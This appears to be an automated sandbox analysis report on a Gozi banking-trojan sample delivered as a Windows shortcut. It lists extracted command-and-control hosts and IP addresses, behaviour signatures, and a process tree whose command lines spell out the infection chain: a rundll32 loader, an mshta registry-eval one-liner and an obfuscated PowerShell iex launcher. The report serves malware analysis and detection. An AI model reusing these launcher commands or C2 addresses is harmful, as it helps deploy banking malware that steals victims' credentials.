Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
15/12/2022, 17:16
General
- Target VV.lnk
- Size 1KB
- Sample221215-vs55wsfh2s
- SHA256 9c6ce72957b412592a5c8d7d0324a53f2a7a77ca94773549494aecf18c83d050
Malware Config
Extracted
-
gozi
Extracted
-
gozi
-
50000
-
http://confisg.edges.skype.com
-
http://108.61.165.145
-
http://37.120.222.23
-
http://194.76.224.234
-
http://176.10.111.47
-
base_path
/grome/
-
build
250249
-
exe_type
loader
-
extension
.chk
-
server_id
50
Extracted
-
gozi
-
50000
-
https://confisg.edges.skype.com
-
http://108.61.165.145
-
http://37.120.222.23
-
http://79.132.128.146
-
http://176.10.119.229
-
http://176.10.111.45
-
http://79.132.128.151
-
http://176.10.111.47
-
base_path
/grome/
-
build
250249
-
exe_type
worker
-
extension
.chk
-
server_id
50
Signatures
- Gozi
Gozi is a well-known and widely distributed banking trojan.
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 7 IoCs
- Suspicious use of AdjustPrivilegeToken 13 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 51 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\VV.lnk2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /q /c staunch\registrants.cmd3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\replace.exereplace C:\Windows\\System32\\RunDlL32.eXe C:\Users\Admin\AppData\Local\Temp /A4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\rundll32.exeRunDlL32.eXe staunch\\fizzy.sql,DllRegisterServer4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>P5xm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(P5xm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\B71B76B4-AA45-0139-6CDB-7EC5603F92C9\\\PackMark'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name conngv -value gp; new-alias -name quqndusqn -value iex; quqndusqn ([System.Text.Encoding]::ASCII.GetString((conngv "HKCU:Software\AppDataLow\Software\Microsoft\B71B76B4-AA45-0139-6CDB-7EC5603F92C9").ToolPaper))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pufs1fe2\pufs1fe2.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES877B.tmp" "c:\Users\Admin\AppData\Local\Temp\pufs1fe2\CSC9F616FBC3D5F4E8BBC33A9BC7D4CE6A0.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pcksktig\pcksktig.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88D2.tmp" "c:\Users\Admin\AppData\Local\Temp\pcksktig\CSCD3201F193BA84C02B43CCAB3711A970.TMP"5⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\staunch\fizzy.sql"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
RES877B.tmp
RES88D2.tmp
pcksktig.dll
pufs1fe2.dll
rundll32.exe
rundll32.exe
CSCD3201F193BA84C02B43CCAB3711A970.TMP
pcksktig.0.cs
pcksktig.cmdline
CSC9F616FBC3D5F4E8BBC33A9BC7D4CE6A0.TMP
pufs1fe2.0.cs
pufs1fe2.cmdline
memory/1056-171-0x0000020E04210000-0x0000020E042B2000-memory.dmp
memory/1316-170-0x000001866F800000-0x000001866F8A2000-memory.dmp
memory/3048-167-0x0000000007D30000-0x0000000007DD2000-memory.dmp
memory/3048-174-0x0000000007D30000-0x0000000007DD2000-memory.dmp
memory/3412-165-0x0000015951E40000-0x0000015951EE2000-memory.dmp
memory/3548-145-0x0000026FECAF0000-0x0000026FECB12000-memory.dmp
memory/3548-162-0x0000026FEE460000-0x0000026FEE49C000-memory.dmp
memory/3548-146-0x00007FFED94A0000-0x00007FFED9F61000-memory.dmp
memory/3548-161-0x00007FFED94A0000-0x00007FFED9F61000-memory.dmp
memory/3840-166-0x0000016A47180000-0x0000016A47222000-memory.dmp
memory/4896-168-0x00000264ADCB0000-0x00000264ADD52000-memory.dmp
memory/4904-172-0x0000000000DB6B20-0x0000000000DB6B24-memory.dmp
memory/4904-173-0x0000000000A90000-0x0000000000B26000-memory.dmp
memory/5056-140-0x0000000002830000-0x000000000283D000-memory.dmp
memory/5056-139-0x0000000000DD0000-0x0000000000DD6000-memory.dmp
memory/5056-137-0x0000000000400000-0x0000000000494000-memory.dmp